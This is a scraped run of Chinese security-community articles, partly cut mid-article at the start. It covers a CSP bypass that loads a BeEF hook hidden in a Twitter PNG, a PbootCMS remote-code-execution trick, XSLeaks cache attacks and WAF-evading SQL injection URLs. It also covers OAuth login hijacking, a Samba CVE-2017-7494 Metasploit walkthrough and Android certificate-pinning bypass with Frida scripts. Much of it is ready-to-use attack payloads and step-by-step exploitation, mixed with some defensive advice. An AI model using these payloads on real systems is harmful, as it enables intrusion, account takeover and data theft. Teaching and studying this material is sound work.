/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+crossorigin=%22anonymous%22+id=%22jsimg%22+onload=%27javascript:eval(atob(%22dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp%22))%27%3E%3Ca+href=%22
# Convert BeEF hook.js
将BeEF's hook.js转化为PNG图像。[BeEF](https://beefproject.com/
"BeEF")是一个浏览器漏洞利用框架，是一个针对于Web浏览器的渗透测试工具。我首先使用`curl -s
'http://localhost:3000/hook.js' | base64 -w0`对其进行base64编码，然后将其转化为图像。
# 总结
通过加载隐藏在Twitter的PNG图像中的外部JavaScript库，我可以绕过一些网站的内容安全策略。这么做的原因有两个，一个是宽松的CSP配置，再一个就是Twitter向所有上传的图像发送通配符访问源响应报头。我猜同样的技术在许多其他社交网络上也能起作用，这也是为什么不应该在CSP上使用“unsafe-inline”和“unsafe-eval”等配置的原因。你可以通过这个[工具](https://csp-evaluator.withgoogle.com/
"工具")检查你的CSP配置并获得相应的建议。
# 参考
<https://hackernoon.com/host-a-web-app-on-twitter-in-a-single-tweet-9aed28bdb350>
<https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData>
<https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData>
<https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_enabled_image>
<https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/crossorigin>
<https://csp-evaluator.withgoogle.com/> | 社区文章 |
# 前言
今天看到该cms进行了更新，分享一下前段时间发现的一处安全问题
# 漏洞利用
写此文时笔者使用的是2.0.9测试版本，发布时间为2020-05-05，最新更新时间为2020-06-18
在github上下载源码
<https://github.com/hnaoyun/PbootCMS>
安装后去<https://www.pbootcms.com/freesn/>获取授权码，登录后台添加授权码即可
正常登录后台，在站点信息中插入如下代码并且保存
保存后我们来到前台首页，使用burpsuite进行抓包，将数据包中的cookie头设为assert，Proxy-Connection头设置为想要执行的php代码，测试图片中使用的代码为system('whoami') 如图
可以看到成功的执行了php代码
# 代码分析
漏洞可以利用的原因在于apps\home\controller\ParserController.php中parserIfLabel函数对if标签解析时安全检验做的不够全面，函数主要存在两处安全校验，如图
对于第一处if判断，我们可以在函数名和括号之间插入控制字符，如\x01，这样即可绕过该处正则校验，并且可以正常执行php代码，该trick来源于KCon2019的一个议题
完整的ppt可以参见文末链接
对于第二处对于敏感函数的过滤，完整的校验如下
if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(print_r)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)/i', $matches[1][$i])) {
$danger = true;
}
在这里其实做的过滤并不全面，我们可以扩展思路，结合一些其他函数，例如call_user_func函数来进行利用，同时可以参考PHP无参数RCE的考点，将可控输入点转移到请求包的header头中，直接绕过cms中存在的一些过滤项，上面的利用方式中，使用了getallheaders()同时配合一些数组操作函数来达到执行任意代码的目的
# 参考链接
<https://xz.aliyun.com/t/6316>
PPT:<https://github.com/knownsec/KCon/blob/master/2019/25%E6%97%A5/PHP%E5%8A%A8%E6%80%81%E7%89%B9%E6%80%A7%E7%9A%84%E6%8D%95%E6%8D%89%E4%B8%8E%E9%80%83%E9%80%B8.pdf> | 社区文章 |
# XSLeaks 攻击分析 —— HTTP缓存跨站点泄漏
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
hello~
我是Mss，今天分享一个很多开发人员和安全人员都很难想到的攻击方式-[XSLeaks](https://github.com/xsleaks/xsleaks)。
## 0x1 XSSearch的前世今生
这种攻击方式最早可以追述到10年前(即2009年)，一个名为Chris
Evans的安全人员描述了一次对雅虎的攻击：Chris利用恶意网站去搜索该网站访问者的电子邮件收件箱里的内容，他通过构造不同的关键词的方式在用户的收件箱中搜索，根据返回的时间进行判断该关键词是否存在，比如：搜索“Alice”，如果对方收件箱里有有关Alice的词，则很久才能得到反馈；如果没有，则在很短的时间就能得到反馈。这样，经过多次查询，很快就能搜集大量的信息。你也许觉得这没什么用处，但是如果用来检索密码或者一些商业来往邮件呢？
但是这种方法有一种弊端，他是基于响应时间来对结果进行判断，而影响相应时间的因素很多。于是在六年后，Nethanel Gelernter和Amir
Herzberg更深入地研究了这次攻击，并将其命名为[XSSearch](http://u.cs.biu.ac.il/~herzbea/security/15-01-XSSearch.pdf)，并使用统计学使其结果更加可靠。在接下来的几年中，XSSearch的[攻击方式不断改进](https://github.com/xsleaks/xsleaks/wiki/Links#wiki-pages-box)，不在是拘泥于时间，而是利用浏览器的缓存机制，就这样，XSSearch的[攻击方法](https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels)越来越多，攻击方式越来越稳定。
## 0x2 缓存泄露的危害
我们都知道，浏览器会缓存访问过网站的网页，当再次访问这个URL地址的时候，如果网页没有更新，就不会再次下载网页，而是直接使用本地缓存的网页。只有当网站明确标识资源已经更新，浏览器才会再次下载网页。这样不但保证了用户的体验，而且减少了网络带宽消耗和服务器的压力，何乐而不为呢？但是，如果恶意人员有某种技术能看到我们浏览器的缓存，或者说判断我们的浏览器里是否有哪些缓存的话，会发生什么呢？
他们可能会看到我们的浏览历史，有些人觉得无所谓；但是你们可能不知道，许多网站根据用户的地理位置定制他们的服务，如果这些网站将位置敏感内容留在浏览器缓存中，那么，恶意人员可以通过测量浏览器缓存查询的时间以跟踪受害者的国家，城市和社区，此外，现有的防御措施无法有效防止此类攻击，并且需要额外的支持才能实现更好的防御部署。只有这些吗？通过对缓存内容的查询对方甚至可以知道你有哪些社交账号，利用你的帐户名称进行涉及滥用个人信息，在线欺诈等的各种类型的攻击……
也许你觉的这么危险那么很多网站应该已经在防范这种攻击了，但在作者看来，大部分的网站还是容易受到攻击的。至于如何防御，将在本文的最后讲到。
## 0x3 利用步骤
这种攻击很有意思，实施起来分为三个步骤
> 1. 删除目标浏览器中特定的缓存
> 2. 打开目标的浏览器查询相关内容
> 3. 检查浏览器是否缓存了相关的内容
>
举个例子，假设你是www.xxx.com的用户，当恶意用户清空你的浏览器里所有有关xxx.com的缓存后，对方利用你的浏览器去访问xxx.com高级会员才能看的内容，如果你是高级会员，那么你的浏览器里就会缓存这部分的内容，反之亦然，恶意用户只需判断你的是否缓存了这部分的内容就可以知道你的身份。
在那篇文章中，作者提出一种实现这种攻击的技巧：
> 1. 删除特定的资源缓存
> 2. 查询缓存是否存在以判断浏览器是否缓存了它
>
我们一步步来：
首先是清空目标的缓存。
可以通过向目标网站发送一个post请求来清空目标内容，有些人可能觉得不可思议，但这是真的，具体可以参考[这篇博客](https://www.mnot.net/blog/2006/02/18/invalidation)；或者设计一个[过长的url](https://lists.gt.net/apache/users/316239)，这样就能使目标服务器报错，并且清空之前的缓存。
其次是访问想要查询的内容。 比如使用[link rel =
prerender](https://developers.google.com/web/updates/2018/07/nostate-prefetch)或者直接打开一个新的窗口去访问你要查询的内容，检查资源是否被访问；或者，也可以使用一个过长的url来判断，可能这里很多人不明白，前文说通过构造一个过长的url使浏览器不加载缓存，这里问什么可以用来验证缓存是否存在呢？
很简单，首先这里的“过长的url”只是一种技术，并不是指的同一个url；可以这么理解：假设缓存的是一个图片文件，名字为a.jpg,然后你去通过一个过长的url去访问，因为这样会让浏览器不去加载新的图片，那么浏览器则显示之前的缓存，即a.jpg。[terjanq](https://twitter.com/terjanq)提过了一个很好的[例子](https://xsleaks.github.io/xsleaks/examples/cache-referrer/)，各位在看的时候请注意url栏的变化。
## 0x4 关于防御
在文章中，作者也针对这种攻击对市面上的几款浏览器进行分析（前文说了，现在大多是根据浏览器的缓存机制进行判断），作者认为，这种攻击很难影响使用Safari浏览器的用户，因为Safari浏览器有一个称为“[已验证的分区缓存(Split
Disk Cache)](https://webkit.org/blog/8613/intelligent-tracking-prevention-2-1/)”的东西，这是一种阻止用户跟踪的技术，同样也能阻止这种攻击，但是作者认为仍然可以利用这种攻击，只不过相当复杂；chrome浏览器正在试验一种称为“[均分磁盘缓存(Split
Disk
Cache)](https://bugs.chromium.org/p/chromium/issues/detail?id=910708)”的技术来解决这个问题,如果想要启用这个技术，需要在chrome浏览器的url栏中输入chrome://flags/，设置enable-features = SplitCacheByTopFrameOrigin，但是尴尬的是我在我的chrome（版本
73.0.3683.86-正式版-64位）里没有找到这个；而Firefox采用更进一步的方式“[第一方隔离（First Party
Isolation）](https://wiki.mozilla.org/Security/FirstPartyIsolation)”来解决这个问题，用户可以下载[插件](https://addons.mozilla.org/en-US/firefox/addon/first-party-isolation/)或在地址栏中输入about:config找到privacy.firstparty.isolate将其设置为true启用这个功能。
对于开发者，作者也提出一些建议。比如禁用HTTP缓存，使用CSRFToken，但是这两种方法都会给用户的体验感带来影响;作者认为可以通过设置[SameSite-cookies](https://www.owasp.org/index.php/SameSite)来对用户进行设置，但是现在也有些已知的绕过；或者是参考Firefox浏览器采用的[COOP](https://github.com/whatwg/html/issues/3740)；亦或者是参考Facebook尝试做的；当然，也可以参考[这里的想法](https://github.com/xsleaks/xsleaks/wiki/Defenses)。
## 0x5 结言
在文章的最后，作者提到HTTP缓存并不是唯一的信息泄露来源，还有[很多](https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels)！感兴趣的朋友可以去看看！我是[掌控安全实验室](http://i.zkaq.org)的Mss，欢迎关注我们的从CVE分析学漏洞专栏，以及新型漏洞跟进分析专题。
附可供拓展研究的参考资料：
<https://www.notion.so/Security-Generic-cross-browser-cross-domain-theft-c01d831c5cf94d9898e99c16adc2e017>
<https://www.youtube.com/watch?v=vzp7JdezZRU>
<https://cloud.google.com/storage/docs/access-control/signing-urls-manually>
[https://www.youtube.com/watch?v=KcOQfYlyIqw&pbjreload=10](https://www.youtube.com/watch?v=KcOQfYlyIqw&pbjreload=10)
<https://zh.wikipedia.org/wiki/%E6%97%81%E8%B7%AF%E6%94%BB%E5%87%BB>
<https://www.cnblogs.com/slly/p/6732749.html>
<http://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html?m=1> | 社区文章 |
作者：ghtwf01@星盟安全团队
# 前言
这里使用`sqli-labs`第一关字符型注入来测试
# 绕过and 1=1
直接使用`and 1=1`肯定会被拦截
使用`%26%26`即可代替`and`绕过，`1=1`可以用`True`表示，`1=2`可以用`False`表示
# 绕过order by
直接使用`order by`被拦截
使用`order/*!60000ghtwf01*/by`绕过
# 绕过union select
和`order by`一样绕过姿势，使用`union/*!60000ghtwf01*/select`绕过
# 查询数据库名
过滤了`group_concat()`，限制了`select`与`from`的结合，`from.`无法绕过，使用`/*!00000select*/`绕过
http://192.168.0.7/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*//*!00000select*/%201,2,schema_name%20from%20information_schema.schemata%20limit%200,1--+
# 查询表名
http://192.168.0.7/sqli/Less-1/?id=0%27%20union/*!60000ghtwf01*//*!00000select*/%201,2,table_name%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%20limit%200,1--+
# 查询列名
`and`用`%26%26`代替
# 查询字段
# 盲注
## 布尔盲注
查询数据库名长度
http://192.168.0.7/sqli/Less-1/?id=1%27%20%26%26%20length(database/**/())=8%20--+
查询第一个数据库名第一个字母
`ascii()`、`hex()`均未被过滤，限制`select`与`from`的结合，使用`/*!00000select*/`
http://192.168.0.7/sqli/Less-1/?id=1%27%20%26%26%20(ascii(substr((/*!00000select*/%20schema_name%20from%20information_schema.schemata%20limit%200,1),1,1))=105)%20--+
查询`security`数据库第一个表名第一个字母
http://192.168.0.7/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((/*!00000select*/%20table_name%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479%20limit%200,1),1,1))=65)%20--+
查询`users`表第一个列名第一个字母
http://192.168.0.7/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((/*!00000select*/%20column_name%20from%20information_schema.columns%20where%20table_schema=0x7365637572697479%20%26%26%20table_name=0x7573657273%20limit%200,1),1,1))=69)%20--+
查询字段
http://192.168.0.7/sqli/Less-1/?id=1%27%20%26%26%20(hex(substr((/*!00000select*/%20username%20from%20users%20limit%200,1),1,1))=44)%20--+
## 时间盲注
过滤了`sleep()`函数，使用`benchmark()`函数即可，查询规则参考上面布尔盲注 | 社区文章 |
## 1、跳转时使用js造成的xss攻击
先说一下结果，几个月前，在部分有SRC的厂商的测试中，有5家使用js跳转（其他使用302跳转），4家存在`xss`，这一处的`xss`很容易被厂商忽视。
随着各大厂商对安全的重视和投入越来越大以后，一些非常重要的核心`cookie`都被设置为`httponly`，即使攻击者得到了一个一般域名下的`xss`，也很难直接劫持用户的身份认证信息，但是这一部分所讲述的`xss`恰恰通常是存在于登陆域名下的，这样域名下的`xss`将更加容易利用。
登陆过程一般都是从厂商的某个链接跳转到第三方，而不是直接进入第三方登陆链接，相当大部分的厂商会存在一个跳转用的参数，这个参数的作用是，当第三方登录通过，携带`state、code`回调后`set-cookie`，之后进行的跳转目标。
比如某厂商的登陆链接为：
`https://passport.aaa.com/login?type=QQ&u=https://www.aaa.com/xianzhitest`
访问之，进入QQ快捷登陆链接。
通过了QQ登录之后，携带认证得到的code和state回调，登录，set-cookie
`https://passport.aaa.com/auth?code=565B415BD1DE9&state=1583668657`
可以看到，多个`cookie`都被设置了`httponly`。这个时候之前登陆链接中的u参数有了作用，此步`setcookie`的同时，还会通过返回的js跳转到之前设置的u参数内容。
如图所示，`callbackUrl`为我们之前设置的u参数内容，也就是说当前我们在`script`块中有了一处可控点，可控点在script标签内，如果没有做好转义或过滤是一件危险的事情，攻击者可以直接注入unicode字符等，后面贴了这段js代码。
此时你就能明白为什么`passport`域下的xss更容易利用，在下方的`clearSsoUrls[0]`中，有一个完全不同于`aaa.com`的域名`bbb.com`，即跨域设置cookie，这段js通过`clearSsoUrlArray.forEach`遍历`clearSsoUrls[0]`中的每个url并设置为image的src属性，通过`xss`获取这一段`ticket`就可以劫持帐号。
var callbackUrl = "https://www.aaa.com/xianzhitest";
var clearSsoUrls = [["https://store.aaa.com/xman/user/ac-set-img-sso-cookie?ticket=c66428aec0","http://www.bbb.com/setssocookieac.php?ticket=c66428aec0"]];
var clearSsoUrlArray = clearSsoUrls[0];
var loadedCount = 0;
var len = 0;
ssoLogin(clearSsoUrlArray);
function ssoLogin(clearSsoUrlArray) {
if (clearSsoUrlArray === undefined) {
window.location.href = callbackUrl;
return;
}
var imgList = [];
len = clearSsoUrlArray.length;
if (len === 0) {
window.location.href = callbackUrl;
return;
}
clearSsoUrlArray.forEach(function(url, index){
imgList[index] = new Image();
imgList[index].src = url;
if (imgList[index].complete) {
loadCallback()
} else {
imgList[index].onload = function () {
loadCallback()
};
imgList[index].onerror = function () {
loadCallback()
}
}
});
}
function loadCallback () {
loadedCount++;
if (len === loadedCount) {
window.location.href = callbackUrl;
}
}
在这顺嘴儿提一下其他利用方法，但是很少满足这种条件，当u参数的域名校验不严格可跳转到evil.com，并且认证code能复用的时候，攻击者就可通过referer劫持用户的code和state直接进行认证。
<script type="text/javascript">
var callbackUrl="https://xz.aliyun.com";
window.location.href=callbackUrl;
</script>
另外，如果我们的可控点被转义了单双引号，无法跳出单引号双引号时，可以尝试`javascript`伪协议，比如：`javascript://%0aalert(1)`，因为最终会通过`window.location.href`跳过去时触发xss。
<script type="text/javascript">
var callbackUrl="javascript://%0aalert(1)";
window.location.href=callbackUrl;
</script>
修复：
1. 若输出点在script标签中，注意转义\、/、'、"符号
2. 若输出点在属性中，注意伪协议的利用
3. 如输出点在标签中，可进行html实体转义
4. 如果无需跨域，可使用302跳转（要注意CRLF）
## 2、微博快捷登陆域名配置错误的攻击
其实这一段并不是什么新的攻击手法了，早在很久之前就已经出现了这种攻击手法，并且引起了QQ强制加强网站应用回调地址校验，但是weibo快捷登陆并没有设置这种强校验，如果weibo快捷登陆配置错误，就会存在问题，所以还是写一下，同时也说一下我在测试中遇到的这类问题。
得到一个QQ快捷登陆的链接是这个样子
https://graph.qq.com/oauth2.0/show?which=Login&display=pc&client_id=100312028&response_type=code&redirect_uri=https%3A%2F%2Fpassport.baidu.com%2Fphoenix%2Faccount%2Fafterauth%3Fmkey%3Dee36f9305947139a0bfc14f0045d89577008093404cf50ef4e%26tpl%3Dmn&state=1583675451&display=page&scope=get_user_info%2Cadd_share%2Cget_other_info%2Cget_fanslist%2Cget_idollist%2Cadd_idol%2Cget_simple_userinfo&traceid=
如果我们对`redirect_uri`参数进行修改，修改为`baidu.com`的一个其他子域名
得到weibo快捷登陆的链接如下：
https://api.weibo.com/oauth2/authorize?client_id=2512457640&response_type=code&redirect_uri=https%3A%2F%2Fpassport.baidu.com%2Fphoenix%2Faccount%2Fafterauth%3Fmkey%3D2339731a1d135c5e11e650c358d4a3dba67ccf17028f56b581%26tpl%3Dmn&forcelogin=1&state=1583675765&display=page&traceid=
同样是修改`redirect_uri`为其他的baidu.com子域名
weibo快捷登陆是没有强制校验的，全看应用开发者是如何配置的，这时候就表明baidu并不存在这种问题。
如果某个厂商存在问题的话，我们更换`redirect_url`为其他子域名后访问应该是这样的：
如果某个网站的微博快捷登陆可以跳转到任意子域名，在某个子域名下你可以插入一个自己的图片，并且能够接收`referer`(或者你有一个xss)，那么你就可以通过修改`redirect_url`到插入图片的地址来获取`referer`进而获取`code、state`
修复：
1. 在微博开发者中心严格设定跳转域
## 3、绑定接管的攻击
这类问题存在于更多的厂商中，但是危害并不是很大，有较大的局限性。
以aaa.com的微博（QQ、微信都可）快捷登陆方式为例，使用一个从未绑定过aaa.com的微博账号登陆成功之后，跳转到：
`https://passport.aaa.com/account/sina?code=0e563372a36017`
因为是首次登陆的第三方帐号，所以要求用户绑定本站aaa.com账号。
但是，此绑定链接再发给任何一个人都可以正常打开，整个页面没有瞩目的提醒是在绑定，看起来就像是一个登陆页面一样，这很容易被普通用户认为是正常登陆，用户输入账号登陆之后就导致了帐号被攻击者接管。但是因为一个第三方帐号只能绑定一个帐号，所以就有很大的局限性了。
测试中发现，有很多的厂商做了如下的防护，但是每一种都有方法绕过。：
1. 在绑定页面 **加强提醒** ，并且给出第三方帐号的 **昵称、头像**
2. 携带code的认证链接仅能使用一次，访问一次之后code即失效
3. 携带code的回调登陆链接需要验证referer是否为 **可信** 的且 **不能为空**
对于1方法，有部分厂商已经在绑定页面做了加强提醒，如下图：
下面这个不光有微博字眼和昵称，连头像也给了出来
但是实际上，攻击者完全可以把微博的头像换成当前测试对象的logo，昵称换成xx官方，这样反倒又增加了攻击者的可信性。
对于2，厂商做了访问一次失效，攻击者可以在获取了认证链接之后自己不去访问，直接给受害者访问。
对于3，厂商做了referer校验，攻击者可以使用一个跳转结合。
在这里再提一嘴，某厂商的通过没有绑定账号的第三方登陆之后，返回的链接如下：
`https://passport.aaa.com/account/sina?code=0e563372a36017&weiboname=testtest&weibopic=https://img.weibo.com/xxx.jpg`
这是一个像上面说的那样，在页面通过显示第三方昵称和头像，来提醒你目前正在绑定社交账号的链接，而昵称和头像竟然是我们可控的，虽然不存在xss，但是可以通过展示我们的图片来获取referer了，这个时候即使第三方快捷登陆配置没有问题，攻击者也可以通过这个可控图片的链接来获取referer再获取code了（回到了第2个问题，第三方配置只能跳passport,图片控制域刚好也是passport）。
修复建议如下：
1. 在跳转至第三方登陆的时候，set-cookie一个third=value(随机值)，第三方登陆成功之后回调链接参数中需要含有这个字段third=value，与cookie中的third对比验证，如果一致则通行。
2. 甚至如果没有太多必要的话，首次快捷登陆的账号不进行账号绑定，由用户自行在个人中心绑定合并资料。 | 社区文章 |
#### 概述
linux或unix下所使用Samba服务允许恶意的用户上传类库到可读可写的共享目录进而导致服务器远程代码执行。
漏洞编号: CVE-2017-7494
漏洞等级: 严重
漏洞影响: Samba 3.5.0 和包括4.6.4/4.5.10/4.4.14中间版本
默认端口: 445
#### 漏洞复现
1.靶机环境搭建：
靶机环境系统使用kali:
IP地址：192.168.10.62
root@yunxu:/# uname -a
Linux yunxu 4.9.0-kali3-amd64 #1 SMP Debian 4.9.18-1kali1 (2017-04-04) x86_64 GNU/Linux
安装samba：
`apt-get install samba`
配置samba的共享目录:
root@yunxu:/# mkdir /home/share #创建一个共享目录
root@yunxu:/# chmod 777 /home/share #设置权限
修改samba配置文件：
root@yunxu:/# gedit /etc/samba/smb.conf #编辑下配置文件
在配置文件末尾添加一个新的配置
[myshare]
comment=test
browseable=yes #可读
writeable=yes #可写
path=/home/share #设置目录，这里设置刚刚创建的
guest ok=yes #允许匿名访问，暂时先这样设置
启动服务：
`root@yunxu:/# service smbd start`
2.metasploit 利用
攻击环境系统使用kali:
`IP：192.168.10.124`
更新msf利用模块：
该漏洞的利用poc已经在metasploit的github上更新，下载地址：
<https://github.com/hdm/metasploit-framework/blob/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb>
将模块更新到kali下metasploit的目录中：
/usr/share/metasploit-framework/modules/exploits/linux/samba/is_known_pipename.rb
设置模块:
msf > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > show options
这里需要设置几个参数
rhost 设置目标IP地址
rport 设置目标端口，默认是445
smb_share_base 设置smb目录，这里靶机是/home/share
target 设置系统版本
通过查看该利用模块的代码发现，该利用模块默认可以不设置smb_share_base目录，他会通过一些预定义的目录搜索可读可写的目录，如果文件共享目录不在这些预定义目录中需要我们手动设置smb_share_base功能，模块部分代码如下：
def generate_common_locations
candidates = []
if datastore['SMB_SHARE_BASE'].to_s.length > 0
candidates << datastore['SMB_SHARE_BASE']
end
%W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name|
candidates << base_name
candidates << [base_name, @share]
candidates << [base_name, @share.downcase]
candidates << [base_name, @share.upcase]
candidates << [base_name, @share.capitalize]
candidates << [base_name, @share.gsub(" ", "_")]
end
candidates.uniq
end
预定义的目录：
/volume1
/volume2
/volume3
/shared
/mnt
/mnt/usb
/media
/mnt/media
/var/samba
/tmp
/home
/home/shared
因为靶机的目录是/home/share，所以需要手动设置下smb_share_base，设置步骤如下：
msf exploit(is_known_pipename) > set rhost 192.168.10.62
rhost => 192.168.10.62
msf exploit(is_known_pipename) > set smb_share_base /home/share
smb_share_base => /home/share
msf exploit(is_known_pipename) > set target 0
target => 0
可以选择一个自己喜欢用的payload,这里我使用默认的。
msf exploit(is_known_pipename) > exploit
[*] Started reverse TCP handler on 192.168.10.124:4444
[*] 192.168.10.62:445 - Using location \\192.168.10.62\myshare\ for the path
[*] 192.168.10.62:445 - Payload is stored in //192.168.10.62/myshare/ as LLaLrtwG.so
[*] 192.168.10.62:445 - Trying location /home/share/LLaLrtwG.so...
[*] Command shell session 1 opened (192.168.10.124:4444 -> 192.168.10.62:33614) at 2017-05-25 17:43:11 +0800
id
uid=65534(nobody) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)
这样攻击就可以完成了，我们直接拿到了root权限的shell,但是smb服务通常管理员为了安全会设置账号密码，如果在有账号密码的环境下怎么办呢？这里靶机重新修改下配置如下：
root@yunxu:/# gedit /etc/samba/smb.conf
设置共享目录不允许guest访问：
[myshare]
comment=test
browseable=yes #可读
writeable=yes #可写
path=/home/share #设置目录，这里设置刚刚的
#删除guest ok=yes，不允许guest用户访问
在 `[global]` 设置选项中添加配置：
security = user
设置smb用户：
root@yunxu:/# useradd smbuser #添加用户
root@yunxu:/# smbpasswd -a smbuser #设置密码
New SMB password:
Retype new SMB password:
root@yunxu:/# service smbd restart #重启服务
接下来smb账户就需要提供用户名和密码才能访问了，为了测试可以直接在msf中`exploit`看看能否像刚刚那样成功反弹一个shell。
这里攻击靶机的时候可以看到失败了，说明添加用户密码后无法正常连接，那么可以通过设置用户名和密码的参数来试试，模块默认不显示这两个参数，可以手动设置下
msf exploit(is_known_pipename) > set SMBUSER smbuser
SMBUser => smbuser
msf exploit(is_known_pipename) > set SMBPASS 123123
SMBPass => 123123
尝试执行exploit：
参考：
<http://bobao.360.cn/learning/detail/3900.html>
<https://securityonline.info/cve-2017-7494-samba-remote-code-execution-vulnerability/>
<https://github.com/rapid7/metasploit-framework/pull/8450> | 社区文章 |
日常Android渗透过程中，会经常遇见https证书校验（http就不存在证书校验了，直接抓包便可），不能抓取数据包。APP是HTTPS的服务提供方自己开发的客户端，开发者可以先将自己服务器的证书打包内置到自己的APP中，或者将证书签名内置到APP中，当客户端在请求服务器建立连接期间收到服务器证书后，先使用内置的证书信息校验一下服务器证书是否合法，如果不合法，直接断开。
## 环境
nuexs 5
windows10
burpsuite
jeb3
## 情况分类
情况1，客户端不存在证书校验，服务器也不存在证书校验。
情况2，客户端存在校验服务端证书，服务器也不存在证书校验，单项校验。
情况3、客户端存在证书校验，服务器也存在证书校验，双向校验。
## 情况1
1、可以拿到apk文件，利用jeb3反编译apk文件，反编译成功，Ctrl+f
-->搜索checkClientTrusted或者checkServerTrusted字符串,如下
结果如下:
反编译成java代码，如下:
分析得知，apk程序客户端与服务端都没有存在证书校验。设置代理，伪造证书，成功抓取数据包。
## 情况2
1、可以拿到apk文件，利用jeb3反编译apk文件，反编译成功，Ctrl+f -->搜索checkClientTrusted字符串,如下
反编译成java代码，如下
伪造证书代理，抓取数据包出现如下:
存在证书校验，不能成功进行抓取数据包。客户端校验服务端证书，这个过程由于客户端操作，存在不可控因素，可通过客户端进行绕过https校验。
### 绕过思路1
反编译apk，找到校验证书方法，将校验部分删除，从而变成情况1，成功抓取数据包。如下
利用Androidkiller.exe反编译apk文件，找到checkServerTrusted方法的smali代码：
将所有校验部分删除，如下:
反编译apk文件，jeb打开重打包的apk。如下
安装重打包的apk，运行，设置代理，抓取数据包
成功抓到数据包。
### 绕过思路2
[JustTrustMe.apk](https://github.com/Fuzion24/JustTrustMe/releases/tag/v.2)
是一个用来禁用、绕过 SSL 证书检查的基于 Xposed 模块。JustTrustMe 是将 APK 中所有用于校验 SSL 证书的 API 都进行了
Hook，从而绕过证书检查。xposed的54的可以运行，高版本没有测试，可以自行测试。
使用如下：
重启设备，抓取数据包，成功抓取，如下：
### 绕过思路3
Frida进行绕过，Frida安装教程自行百度，可以下载这里[脚本](https://github.com/WooyunDota/DroidSSLUnpinning/tree/master/ObjectionUnpinningPlus)。其中application.py脚本，我修改了一下:
# -*- coding: utf-8 -*-
import frida, sys, re, sys, os
import codecs, time
APP_NAME = ""
def sbyte2ubyte(byte):
return (byte % 256)
def print_result(message):
print ("[!] Received: [%s]" %(message))
def on_message(message, data):
if 'payload' in message:
data = message['payload']
if type(data) is str:
print_result(data)
elif type(data) is list:
a = data[0]
if type(a) is int:
hexstr = "".join([("%02X" % (sbyte2ubyte(a))) for a in data])
print_result(hexstr)
print_result(hexstr.decode('hex'))
else:
print_result(data)
print_result(hexstr.decode('hex'))
else:
print_result(data)
else:
if message['type'] == 'error':
print (message['stack'])
else:
print_result(message)
def main():
try:
with codecs.open("hooks.js", 'r', encoding='utf8') as f:
jscode = f.read()
process = frida.get_usb_device().attach(APP_NAME)
script = process.create_script(jscode)
script.on('message', on_message)
print ("[*] Intercepting on (pid: )...")
script.load()
sys.stdin.read()
except KeyboardInterrupt:
print ("[!] Killing app...")
if __name__ == "__main__":
if (len(sys.argv) > 1):
APP_NAME = str(sys.argv[1])
main()
else:
print("must input two arg")
print("For exanple: python application.py packName")
这里以com.flick.flickcheck包名为例，首先pc端运行启动frida服务器脚本startFridaService.py，
# -*- coding: utf-8 -*- # python3.7
import sys
import subprocess
cmd = ["adb shell","su","cd /data/local/tmp","./frida-server-12-7-11-android-arm64"]
def Forward1():
s = subprocess.Popen("adb forward tcp:27042 tcp:27042")
return s.returncode
def Forward2():
s = subprocess.Popen("adb forward tcp:27043 tcp:27043")
return s.returncode
def Run():
s = subprocess.Popen("adb shell", stdin=subprocess.PIPE,stdout=subprocess.PIPE, shell=True)
for i in range(1,len(cmd)):
s.stdin.write(str(cmd[i]+"\r\n").encode("utf-8"))
s.stdin.flush()
return s.returncode
if __name__ == "__main__":
Forward1()
print("adb forward tcp:27042 tcp:27042")
Forward2()
print("adb forward tcp:27043 tcp:27043")
print("Android server--->./frida-server-12-7-11-android-arm64")
print("success-->frida-ps -R")
Run()
pc端运行命令如下:
`python application.py com.flick.flickcheck`
设置代理，抓取数据包：
成功抓取数据包。
## 情况3
